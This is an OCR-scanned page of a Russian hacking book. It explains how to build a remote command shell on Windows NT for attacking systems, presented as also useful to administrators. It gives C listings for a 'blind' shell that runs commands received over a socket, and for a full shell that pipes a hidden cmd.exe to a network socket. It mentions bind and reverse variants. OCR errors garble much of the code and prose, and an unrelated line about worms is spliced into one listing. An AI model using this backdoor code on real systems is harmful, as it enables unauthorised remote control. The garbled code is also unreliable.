Раздел: Документация
0 ... 59 60 61 62 63 64 65 ... 102 ОРГАНИЗАЦИЯ УДАЛЕННОГО SHELLA В UNIX И NT Потребность в удаленном shelle испытывают не только хакеры, но и сами администраторы. Знаете, как неохота бывает в дождливый день тащиться через весь город только затем, чтобы прикрутить фитилек «коптящего» NT-сервера на ходу стряхивая с себя остатки сна, да собственно даже не сна, а тех его жалких урывков в которые в изнеможении погружаешься прямо за монитором... В UNIX-нодобных операционных системах shell есть от рождения, а вот в NT его приходится реалнзовывать самостоятельно. Как это можно сделать? По сети ходит совершенно чудовищный код, перенаправляющий весь ввод/вывод порожденного процесса в дескрипторы non-overlapping сокетов. Считается, что раз уж non-overlapping сокеты во многих отношениях ведут себя так же, как и обычные файловые манипуляторы, операционная система не заметит обмана, и командный интерпретатор будет работать с удаленным терминалом так же, как и с локальной консолью. Может быть (хотя это н крайне маловероятно), в какой-то из версий Windows такой прием и работает, однако на всех современных системах порожденный процесс попросту не знает, что ему с дескрипторами сокетов, собственно, делать, и весь ввод/вывод проваливается в тартарары... СЛЕПОЙ SHELL Если разобраться, то для реализации удаленной атаки полноценный shell совсем не обязателен, и на первых норах можно ограничиться «слепой» передачей команд штатного командного интерпретатора (естественно, с возможностью удаленного запуска различных утилит и, в частности, утилиты calcs, обеспечивающей управление таблицами управления доступа к файлам). В простейшем случае shell реализуется приблизительно так (листинг 5.7). Листинг 5.7. Ключевой фрагмент простейшего удаленного shdla // чотаек цикл, приникая с сокета команды // пока есть что принимать while(l) { // принимаем очередную порцию данных а = recvtcsocket. &buf[p]. MAX BUF SI2E - р - 1. 0): // если соединение неожиданно закрылось, выходим из цикпа if (а < 1) break; // увеличиваем счетчик кол-ва принятых символов- кой, так как все они ориентированы на борьбу с длительным нрослушцван а червю для осуществления атаки требуется не больше нескольких секунд! /. и внесряем на конец строки завершающий ноль с ~ a: ouf[p] = 0. // строка содержи; спмзол переноса строки? if ((Ch = slrpbrk(bjf. xEOD) != 0) {// да. содержит // отсекаем символ переноса и очищаем счетчик *ch = 0: р = 0: // если строка не пуста, передаем ее командному // nuiepnpeiaTopy на выполнение -•f (strlen(buf)) { sprintf(cmd. "%s%s". SHELL, buf): exec(cmd): } else break: // если это пустая строка - выходим полноценный shell Для комфортного администрирования удаленной системы (равно как и для атаки на псе) возможностей «слепого» shella более чем недостаточно, и неудивительно, если у вас: возникнет желание хоть чуточку его улучшить, достигнув «прозрачного» взаимодействия с терминалом. И это действительно можно сделать! В этом нам помогут каналы (они же «пайпы» — от английского pipe). Каналы, в отличие от сокетов, вполне корректно подключаются к дескрипторам ввода/вывода, и порожденный процесс работает с ними точно так же, как п со стандартным локальным терминалом, за тем исключением, что вызовы WriteConsole никогда не перенаправляются в найп и потому удаленный терминал может работать датеко не со всеми консольными приложениями. Корректно написанный shell требует создания как минимум двух пайнов — один оудет обслуживать стандартный ввод, соответствующий дескриптору hStdlnput, Друтой — стандартный вывод, соответствующий дескрипторам hStdOutput и hStdError. Дескрипторы самих найпов обязательно должны быть наследуемыми, в противном случае порожденный процесс просто не сможет до них «дотянуться». А как сделать их наследуемыми? Да очень просто — всего лишь уста-"овить флаг blnheritHandle в состояние TRUE, передавая его функции CreatePipe в.месте со структурой LPSECURITYATTRIBUTES, инициализированной вполне есте-СТвенным образом. Остается подготовить структуру STARTUPINFO, сопоставив дескрипторы стандарт-,)0г° ввода/вывода наследуемым каналам, и ни в коем случае не забыть уста-"авливать флаг STARTFUSESTDHANDLES, иначе факт переназначения стандартных 1ескрипторов будет наглым образом проигнорирован. ДНако это еще не все, и самое интересное нас ждет впереди! Для связывания 1Саналов с сокетом удаленного терминала нам потребуется реализовать сне-1,Иальный резидентный диспетчер, считывающий поступающие данные 196 Глава 5. Побег через брандмаузер плюс терминализац>1явг и перенаправляющий их в сокет или канал. Вся сложность в том, что провсрк. наличия данных в сокете (канале) должна быть неблокируемой, в противное случае нам потребуются два диспетчера, каждый из которых будет выполнять ся в «своем» потоке, что, согласитесь, громоздко, некрасиво и неэлегантно Обратившись к Platform SDK, мы найдем две полезные функции: PeerkNaraePip и ioctl socket. Первая отвечает за неблокируемое измерение «глубины» канала а вторая обслуживает со кеты. Теперь диспетчеризация ввода/вывода становится тривиальной (листинг 5.8). Листинг 5.8. Ключевой фрагмент полноценного удаленного shella вместе с диспетчером ввода/вывода sa.lpSecurityDescriptor= NULL: sa.nLength= sizeof(SECURITY ATTRIBUTES): sa.blnheritHaridle= TRUE: //allow inheritable handles if (!CreatePipe(&cstdin. Swstdin. &sa. 0)) return -1: //create stdin pipe if (!CreatePipe(&rstdout. Scstdout. &sa. 0)) return -I: //create stdout pipe GetStartupInfo(&si)://set startupinfo for the spawned process si .dwFlags = STARTF USESTDHANDLES [ STARTF USESHOWWINDOw: Si.wShowWindow - SW HIDE: si.hStdOutput = cstdout: si.hStdError = cstdout: //set the new handles for the child process si.hStdInput = cstdin: //spawn the child process if (!CreateProcess(0. SHELL. 0. 0. TRUE. CREATE NEW CONSOLE. O.O.&si.&pi)) return -1: while(GetExitCodeProcess(pi.hProcess.&fexit) && (fexit == STILL ACTIVE)) { //check to see if there is any data to read from stdout if (PeekNamedPipe(rstdout. buf. 1. &N. total. 0) && N) { for (a = 0: a < total: a += MAX BUF S1ZE) { ReadFile(rstdout. buf. MAX BUF SIZE. &N. 0): serxKcsocket. buf. N. 0); if (MoctlsocketCcsocket. FIONREAO . &N) && N) { recv(csocket. buf. L. 0): if (*buf ™ \x0A) WriteFiletwstdin. "\x0D". 1. 8N. 0): WriteFile(wstdin. buf. 1. &N. 0): } Sleep(l): } Откомпилировав любой из предлагаемых файлов (как-то: bind.c, reverse.c, find-c или reuse.c), вы получите вполне комфортный shell, обеспечивающий прозра4" ное управление удаленной системой. Только не пытайтесь запускать на не*1 0 ... 59 60 61 62 63 64 65 ... 102
|